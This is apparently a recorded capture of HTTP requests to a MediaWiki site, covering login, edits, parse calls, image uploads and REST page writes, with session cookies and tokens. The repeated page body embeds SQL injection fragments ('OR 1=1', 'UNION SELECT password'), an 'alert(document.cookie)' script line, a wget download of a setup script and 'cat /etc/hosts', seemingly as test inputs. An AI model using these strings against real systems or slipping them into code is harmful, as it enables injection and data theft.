allery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1668", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 155", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=26%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&appendtext=%0A%2A+ls+-la&summary=ls+-la&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1072", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=28%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=7a53d6d4af2844e59f972f70f639962c"], "body": "--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi ls -la.png\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of ls -la\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout ls -la and .htaccess\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdls -la\r\n--7a53d6d4af2844e59f972f70f639962c--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=30%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+ls+-la+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1598", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1674", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=34%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&appendtext=%0A%2A+.htaccess&summary=.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1087", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=36%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=0451c085f0cd430585e04333efbbfbbf"], "body": "--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi .htaccess.png\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout .htaccess and .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd.htaccess\r\n--0451c085f0cd430585e04333efbbfbbf--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 120", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=38%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+.htaccess+notes&token=c47e469c2c159f84b563d880403eca806af226a4%2B%5C&format=json&formatversion=2"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=40%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on Lighthouse\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_python3_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1253", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=41%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on python3\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_powershell_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=42%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on powershell\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_ls_-la_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1252", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=43%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on ls -la\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_.htaccess_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1255", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=44%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on .htaccess\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=45%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=logout&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
# From a wiki without short URLs, whose pages are at /index.php/Main_Page:
# signing in, uploading files, and moving a page through the form and the API.
{"method": "GET", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=u5y2w", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
